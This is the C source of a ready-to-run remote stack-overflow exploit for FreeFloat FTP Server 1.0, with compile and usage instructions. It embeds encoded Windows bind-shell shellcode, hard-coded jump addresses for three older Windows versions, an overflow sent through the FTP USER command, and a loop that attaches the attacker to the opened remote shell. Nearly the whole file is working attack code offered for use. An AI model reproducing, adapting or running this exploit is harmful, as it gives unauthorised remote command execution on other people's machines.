/*
 * CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit
 * code : Antonius (w1sdom) - bluedragonsec.com
 * original code developed in 2013 - exploit patched in 2026
 * https://github.com/bluedragonsecurity
 *
 * compile : gcc -o exploit exploit.c
 * run : ./exploit <target_ip> <target>
 *
 * Targets:
 *   1 = Windows Server 2003 Standard (no SP)
 *   2 = Windows Server 2003 SP1
 *   3 = Windows XP SP1
 *
 *  e.g : ./exploit 192.168.0.10 1
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#define cr0_offset 230
#define cr0_bind_port 1337
#define cr0_port 21
#define cr0_nop_sled_amount 20
/*
$ msfvenom -p windows/shell_bind_tcp LPORT=1337 -f c -b '\x00\x0a\x0d'
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1522 bytes
*/
unsigned char c0d3[] = 
"\xdb\xdf\xd9\x74\x24\xf4\x5a\xbb\xb8\xb6\x42\x7c\x31\xc9"
"\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xe2\xa5\xa0\x89\xee"
"\x22\xa6\x72\x0e\xb3\xc7\xfb\xeb\x82\xc7\x98\x78\xb4\xf7"
"\xeb\x2c\x39\x73\xb9\xc4\xca\xf1\x16\xeb\x7b\xbf\x40\xc2"
"\x7c\xec\xb1\x45\xff\xef\xe5\xa5\x3e\x20\xf8\xa4\x07\x5d"
"\xf1\xf4\xd0\x29\xa4\xe8\x55\x67\x75\x83\x26\x69\xfd\x70"
"\xfe\x88\x2c\x27\x74\xd3\xee\xc6\x59\x6f\xa7\xd0\xbe\x4a"
"\x71\x6b\x74\x20\x80\xbd\x44\xc9\x2f\x80\x68\x38\x31\xc5"
"\x4f\xa3\x44\x3f\xac\x5e\x5f\x84\xce\x84\xea\x1e\x68\x4e"
"\x4c\xfa\x88\x83\x0b\x89\x87\x68\x5f\xd5\x8b\x6f\x8c\x6e"
"\xb7\xe4\x33\xa0\x31\xbe\x17\x64\x19\x64\x39\x3d\xc7\xcb"
"\x46\x5d\xa8\xb4\xe2\x16\x45\xa0\x9e\x75\x02\x05\x93\x85"
"\xd2\x01\xa4\xf6\xe0\x8e\x1e\x90\x48\x46\xb9\x67\xae\x7d"
"\x7d\xf7\x51\x7e\x7e\xde\x95\x2a\x2e\x48\x3f\x53\xa5\x88"
"\xc0\x86\x50\x80\x67\x79\x47\x6d\xd7\x29\xc7\xdd\xb0\x23"
"\xc8\x02\xa0\x4b\x02\x2b\x49\xb6\xad\x56\xb3\x3f\x4b\x32"
"\xd3\x69\xc3\xaa\x11\x4e\xdc\x4d\x69\xa4\x74\xf9\x22\xae"
"\x43\x06\xb3\xe4\xe3\x90\x38\xeb\x37\x81\x3e\x26\x10\xd6"
"\xa9\xbc\xf1\x95\x48\xc0\xdb\x4d\xe8\x53\x80\x8d\x67\x48"
"\x1f\xda\x20\xbe\x56\x8e\xdc\x99\xc0\xac\x1c\x7f\x2a\x74"
"\xfb\xbc\xb5\x75\x8e\xf9\x91\x65\x56\x01\x9e\xd1\x06\x54"
"\x48\x8f\xe0\x0e\x3a\x79\xbb\xfd\x94\xed\x3a\xce\x26\x6b"
"\x43\x1b\xd1\x93\xf2\xf2\xa4\xac\x3b\x93\x20\xd5\x21\x03"
"\xce\x0c\xe2\x0e\x54\x31\x7d\xf9\x33\xd8\xc3\x64\xc4\x37"
"\x07\x91\x47\xbd\xf8\x66\x57\xb4\xfd\x23\xdf\x25\x8c\x3c"
"\x8a\x49\x23\x3c\x9f";

void cr0_shell(char *ip, int port) {
    int s, n;
    char buf[512];
    struct sockaddr_in sa;
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = inet_addr(ip);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] shell connect failed\n");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(s, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) break;
            send(s, buf, n, 0);
        }
        if (FD_ISSET(s, &fds)) {
            n = recv(s, buf, sizeof(buf), 0);
            if (n <= 0) break;
            write(1, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    int s, target;
    unsigned int eip;
    char buf[1024], recv_buf[512], cmd[2048];
    struct sockaddr_in sa;
    struct hostent *h;

    printf("CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit\n"
        "code : Antonius (w1sdom) - bluedragonsec.com\n"
        "original code developed in 2013 - exploit patched in 2026\n"
        "https://github.com/bluedragonsecurity\n"
        "\n"
        "code : Antonius (w1sdom) - bluedragonsec.com\n"
        "compile : gcc -o exploit exploit.c\n"
        " run : ./exploit <target_ip> <target>\n"
        "\n"
        " Targets:\n"
        "   1 = Windows Server 2003 Standard (no SP)\n"
        "   2 = Windows Server 2003 SP1\n"
        "   3 = Windows XP SP1\n"
        "\n"
        "  e.g : ./exploit 192.168.0.10 1\n");
    if (argc < 3) {
        exit(-1);
    }
    target = atoi(argv[2]);
    switch (target) {
        case 1:
            /* jmp esp from ntdll.dll - win server 2003 standard */
            eip = 0x77fb8bab;
            break;
        case 2:
            /* call esp from ntdll.dll - win server 2003 sp1 */
            eip = 0x7c86ffc3;
            break;
        case 3:
            /* jmp esp from ntdll.dll - windows xp sp1 */
            eip = 0x77fb59cc;
            break;
        default:
            printf("[-] invalid target\n");
            return 1;
    }
    h = gethostbyname(argv[1]);
    if (!h) {
        printf("[-] resolve failed\n");
        return 1;
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(cr0_port);
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n");
        return 1;
    }
    recv(s, recv_buf, sizeof(recv_buf), 0);
    printf("[+] connected to %s:%d\n", argv[1], cr0_port);
    memset(buf, 'A', cr0_offset);
    memcpy(buf + cr0_offset, &eip, 4);
    memset(buf + cr0_offset + 4, '\x90', cr0_nop_sled_amount);
    memcpy(buf + cr0_offset + 4 + cr0_nop_sled_amount, c0d3, sizeof(c0d3)-1);
    buf[cr0_offset + 4 + cr0_nop_sled_amount + sizeof(c0d3)-1] = '\0';
    sprintf(cmd, "USER %s\r\n", buf);
    send(s, cmd, strlen(cmd), 0);
    close(s);
    printf("[+] exploit sent, waiting for shell ...\n");
    sleep(2);
    cr0_shell(argv[1], cr0_bind_port);

    return 0;
}